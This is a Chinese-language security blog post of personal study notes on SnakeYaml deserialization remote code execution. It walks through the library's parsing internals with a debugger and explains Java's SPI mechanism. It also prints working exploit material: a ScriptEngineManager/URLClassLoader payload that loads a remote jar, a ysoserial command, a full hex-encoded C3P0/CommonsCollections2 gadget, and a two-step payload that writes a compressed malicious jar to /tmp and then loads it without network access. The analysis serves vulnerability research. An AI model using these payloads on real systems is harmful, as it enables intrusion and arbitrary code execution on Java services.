Java安全之SnakeYaml反序列化分析

Java安全之SnakeYaml反序列化分析

写在前面

学习记录

SnakeYaml简介

snakeyaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
yaml语法参考://www.yiibai.com/yaml
Spring配置文件经常遇到,这里不多做赘述了
推荐一个yml文件转yaml字符串的地址,网上部分poc是通过yml文件进行本地测试的,实战可能用到的更多的是yaml字符串。//www.345tool.com/zh-hans/formatter/yaml-formatter

SnakeYaml序列化与反序列化

依赖

<!-- //mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

常用方法

String	dump(Object data)
将Java对象序列化为YAML字符串。
void	dump(Object data, Writer output)
将Java对象序列化为YAML流。
String	dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void	dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String	dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String	dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T	load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T	load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T	load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object>	loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>	loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>	loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。

主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

序列化

User类

public class User {
    public String name;

    public void setName(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }
}

Demo

import org.yaml.snakeyaml.Yaml;

public class SankeYamlDemo {
    public static void main(String[] args) {
        User user = new User();
        user.setName("xiaobei");
        Yaml yaml = new Yaml();
        String dump = yaml.dump(user);
        System.out.println(dump);
    }
}

输出了如下字符串

!!com.zh1z3ven.SnakeYaml.User {name: xiaobei}

这里的!!类似于fastjson中的@type用于指定反序列化的全类名

反序列化

再来一段User代码,主要是在各个方法中都添加了print,来看一下反序列化时会触发这个类的哪些方法

public class User2 {

    String name;
    int age;

    public User2() {
        System.out.println("User构造函数");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public String getAge() {
        System.out.println("User.getAge");
        return name;
    }

    public void setAge(String name) {
        System.out.println("User.setAge");
        this.name = name;
    }

}

Demo,注意通过!!指定类名需要写全类名

import org.yaml.snakeyaml.Yaml;

public class SankeYamlDemo {
    public static void main(String[] args) {
        Deserialize();
    }


    public static void Serialize(){
        User user = new User();
        user.setName("xiaobei");
        Yaml yaml = new Yaml();
        String dump = yaml.dump(user);
        System.out.println(dump);
    }

    public static void Deserialize(){
        String s = "!!com.zh1z3ven.SnakeYaml.User2 {name: xiaobei, age: 18}";
        Yaml yaml = new Yaml();
        User2 user2 = yaml.load(s);

    }
}

结果

User构造函数
User.setName
User.setAge

反序列化过程中会触发set方法和构造方法。

SnakeYaml反序列化漏洞

影响版本

全版本

漏洞原理

yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

漏洞复现

网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网的
比如加一段弹计算器的代码Runtime.getRuntime().exec("open -a Calculator");

当然也可以写个自定义的ClassLoader然后通过defineClass加载 bytecode的base64字符串达到打内存马的一个目的。
更改好之后通过如下命令编译打包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .


之后在该目录开一个web服务
更改poc

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["//127.0.0.1:9000/yaml-payload.jar"]
  ]]
]

收到http log并成功弹出计算器

调试分析

下面调试分析一下整个流程,在yaml.load(s)处下断点

首先通过StringReader处理我们传入的字符串,PoC存储在StreamReader的this.stream字段值里。

上面主要是对输入的payload进行赋值与简单处理的操作,之后进入loadFromReader(new StreamReader(yaml), Object.class)方法中

该方法内逻辑如下

首先会对我们传入的payload进行处理,封装成Composer对象。

其中会有一步new ParserImpl的操作

这里注意!! -> tag:yaml.org,2002: 后续也会对我们传入的 payload进行字符串替换的操作。

之后调用BaseConstructor#setComposer()方法,对Composer进行赋值,最终进入BaseConstructor#getSingleData(type)方法内,跟进后会调用 this.composer.getSingleNode()方法对我们传入的payload进行处理,会把!!变成tagxx一类的标识

这个在浅蓝师傅的文章中也有提到过,对于一些yaml常用的set map等类型都是一个tag,属于是在过滤掉!!的情况下可以通过这种tag形式去进行Bypass,详细的思路可参考浅蓝师傅的文章。

public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");

而tag具体的替换以及整个payload重新组合的逻辑在ParserImpl#parseNode()方法中

调用栈如下

parseNode:426, ParserImpl (org.yaml.snakeyaml.parser)
access$1300:117, ParserImpl (org.yaml.snakeyaml.parser)
produce:359, ParserImpl$ParseBlockNode (org.yaml.snakeyaml.parser)
peekEvent:158, ParserImpl (org.yaml.snakeyaml.parser)
checkEvent:148, ParserImpl (org.yaml.snakeyaml.parser)
composeNode:136, Composer (org.yaml.snakeyaml.composer)
getNode:95, Composer (org.yaml.snakeyaml.composer)
getSingleNode:119, Composer (org.yaml.snakeyaml.composer)
getSingleData:150, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)

所以我们之前传入的payload

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["//127.0.0.1:9000/yaml-payload.jar"]
  ]]
]

会变为如下的一种形式

<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=//127.0.0.1:9000/yaml-payload.jar)>])>])>])>])>

继续跟进,会执行 return this.constructDocument(node)从而进入BaseConstructor#constructDocument方法,其中调用了constructObject方法

继续跟进后发现,在constructObjectNoCheck方法中会去获取对应tag的value,逻辑在getConstructor方法内(其中node是我们传入后经过处理的payload)

之后调用Constructor#construct方法,这里就是关键的地方了
进入后首先调用getConstuctor方法

继续跟getClassForNode,这里this.typeTags为null,所以进入if逻辑内

跟进getClassForName,最终这里是通过反射获取到ScriptEngineManager的一个Class对象

后续向typeTags的Map里put进去了本次tag和class对象的键值对并返回ScriptEngineManager这个class对象,后续对URLClassLoaderURL处理的逻辑基本差不多相同,这里就跳过了

URL也被反射拿到class对象后,直接跟到construct方法内

首先通过反射获取node字段的type属性值所对应的构造方法

最终通过newInstance方法实例化,这里具体的话分为3步,首先是URL的实例化,之后是URLClassLoader的实例化,最终实例化ScriptEngineManager时才会真正的触发远程代码执行

小结

整个调试下来感觉有点类似于在调Fastjson,前面一小半的部分是在做一些payload的处理,涉及到一些变量,比如tag、node、type这些,以及SnakeYaml内部对于!!去转换为tag这类的操作,然后就是一些数据的流向,需要仔细观察;后半部分就是整个漏洞的一个触发,整体的一个思路就是先反射分别获取ScriptEngineManagerURLClassLoaderURL的class对象,之后在construct方法内最终分别实例化了URLURLClassLoaderScriptEngineManager来造成远程代码执行。

SPI机制

严格来讲上面是ScriptEngineManager的实例化过程分析,其实最终造成代码执行还涉及到一个概念:SPI机制。ScriptEngineManager底层用到的也是SPI机制
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。
使用 SPI 机制的话需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名
比如lombok

再比如我们的poc里也是这样的

同样JDBC也用到了这种机制
实现原理:
程序会通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()创建对象,并存到缓存和列表里面。

ScriptEngineManager分析

那么我们来跟一下ScriptEngineManager,把payload的jar拖到项目依赖中,在ScriptEngineManager的构造方法下断点,从newInstance处F7即可跟入

前面都是一些赋值操作,跟进initEngines

ServiceLoader这里就是用到SPI机制,会通过远程地址寻找META-INF/services目录下的javax.script.ScriptEngineFactory然后去加载文件中指定的PoC类从而触发远程代码执行

跟进itr.next()会进入ServiceLoader$LazyIterator#next()方法,调用了nextService

继续跟进,先反射获取的class对象,之后newInstance实例化,这里第一次实例化的是NashornScriptEngineFactory类,之后第二次会去实例化我们远程jar中的PoC类,从而触发静态代码块/无参构造方法的执行来达到任意代码执行的目的

其他利用姿势

主要是出网与不出网吧
可参考mi1k7ea师傅文章,在师傅文中列出了多个JNDI的利用链。下面主要看一下不出网的情况。

C3P0

思路类似于Fastjson通过C3P0二次反序列化去打
需要用到C3P0.WrapperConnectionPoolDataSource通过Hex序列化字节加载器,给userOverridesAsString赋值恶意序列化内容(本地Gadget)的Hex编码值达成利用。
这里以C3P0+CC2为例
生成段CC2弹计算器的PoC

➜ java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > /tmp/calc.ser

读取文件内容并Hex编码

public class HexEncode {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println("hello");
        InputStream in = new FileInputStream("/tmp/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

最终SnakeYaml Payload如下:

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: 'HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006A8CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001E79736F73657269616C2F50776E65723334373231313439383436393232330100204C79736F73657269616C2F50776E65723334373231313439383436393232333B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178;'

ScriptEngineManager

参考 //xz.aliyun.com/t/10655,下面做个复现
主要分两步,第一步把利用时所需jar包落地,第二步用ScriptEngineManager通过file协议加载本地jar
用师傅文章中的利用代码可直接生成写文件PoC:

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/tmp/yaml-payload.txt"],false],!!java.util.zip.Inflater  { input: !!binary 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 },1048576]]

第一次反序列化会直接落地文件

第二步加载写入的恶意文件完成不出网RCE
PoC

!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/yaml-payload.txt"]]]]

这里的话比如ruoyi,是有一个写文件的漏洞,也可以直接利用该漏洞去写入文件,不一定是jar格式,jpg、png、txt都可以。
个人感觉如果有C3P0的时候更喜欢打C3P0一些,操作更方便也不需要落地文件,就是需要知道有哪些Gadget,但是ScriptEngineManager写文件的思路真的很棒,膜一波师傅们。

Reference

//xz.aliyun.com/t/10655
//www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%25E6%25BC%258F%25E6%25B4%259E/#0x03-%25E6%259B%25B4%25E5%25A4%259AGadgets%25E6%258E%25A2%25E7%25A9%25B6
//github.com/artsploit/yaml-payload
//b1ue.cn/archives/407.html
//www.cnblogs.com/nice0e3/p/14514882.html